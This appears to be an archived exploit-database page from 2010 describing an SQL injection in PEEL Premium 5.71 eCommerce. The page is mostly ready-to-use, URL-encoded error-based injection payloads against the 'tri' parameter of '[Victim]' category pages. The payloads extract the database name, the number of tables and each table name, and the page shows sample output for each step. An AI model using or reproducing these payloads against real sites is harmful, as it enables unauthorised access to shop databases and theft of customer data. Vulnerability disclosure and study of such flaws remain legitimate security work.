Home / os / win7

[webapps / 0day] - PEEL Premium 5.71 SQL Injection Vulnerabi

Posted on 26 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>PEEL Premium 5.71 SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 26 Sep 2010 | Exploit category: webapps / 0day | Exploit author: KnocKout | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=============================================
PEEL Premium 5.71 SQL Injection Vulnerability
=============================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[+] Greatz : DaiMon &amp; ALL MUSLIM HACKERS!!
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Script : PEEL eCommerce Premium v5.71
~Software: www.peel.fr
~Vulnerability Style : SQL Injection
~INFO :    MySQL error based injection method can be used..
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
your Need meterials : Hex Conversion.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
 
======== DATABASE NAME GET.. =========
 
http://[Victim]/achat/cat-sieges-[VICTIM].html?tri=reference+and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
&#039;peel_premium&#039; database name[OK]
 
==================================
======= Table Numbers Get.. =====
 
Table Numbers Get..
 
http://[VICTIM]/achat/cat-sieges-[VICTIM].html?tri=reference+and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,count%28table_name%29,0x27,0x7e%29%20FROM%20%60information_schema%60.tables%20WHERE%20table_schema=0x7065656C5F7072656D69756D%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
&#039;58&#039; table numbers [OK]
 
=================================
 
                [+] Limit command use for table names Example.. [+]
 
http://[VICTIM]/achat/cat-sieges-31.html?tri=reference+and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20distinct%20concat%280x7e,0x27,cast%28table_name%20as%20char%29,0x27,0x7e%29%20FROM%20information_schema.tables%20Where%20table_schema=0x7065656C5F7072656D69756D%20limit%200,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
http://[VICTIM]/achat/cat-sieges-31.html?tri=reference+and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20distinct%20concat%280x7e,0x27,cast%28table_name%20as%20char%29,0x27,0x7e%29%20FROM%20information_schema.tables%20Where%20table_schema=0x7065656C5F7072656D69756D%20limit%201,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
http://[VICTIM]/achat/cat-sieges-31.html?tri=reference+and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20distinct%20concat%280x7e,0x27,cast%28table_name%20as%20char%29,0x27,0x7e%29%20FROM%20information_schema.tables%20Where%20table_schema=0x7065656C5F7072656D69756D%20limit%203,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
 
limit 0,1
limit 1,1
limit 2,1
 GO..
limit 58,1
 
All Table Names [OK]
 
==============================
NOTE :
Victim site Explotation: cat-sieges-[Number].html?tri=referance[bySQL()]
==========================


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-26]</pre></body></html>

 

TOP

Malware :

Exploits :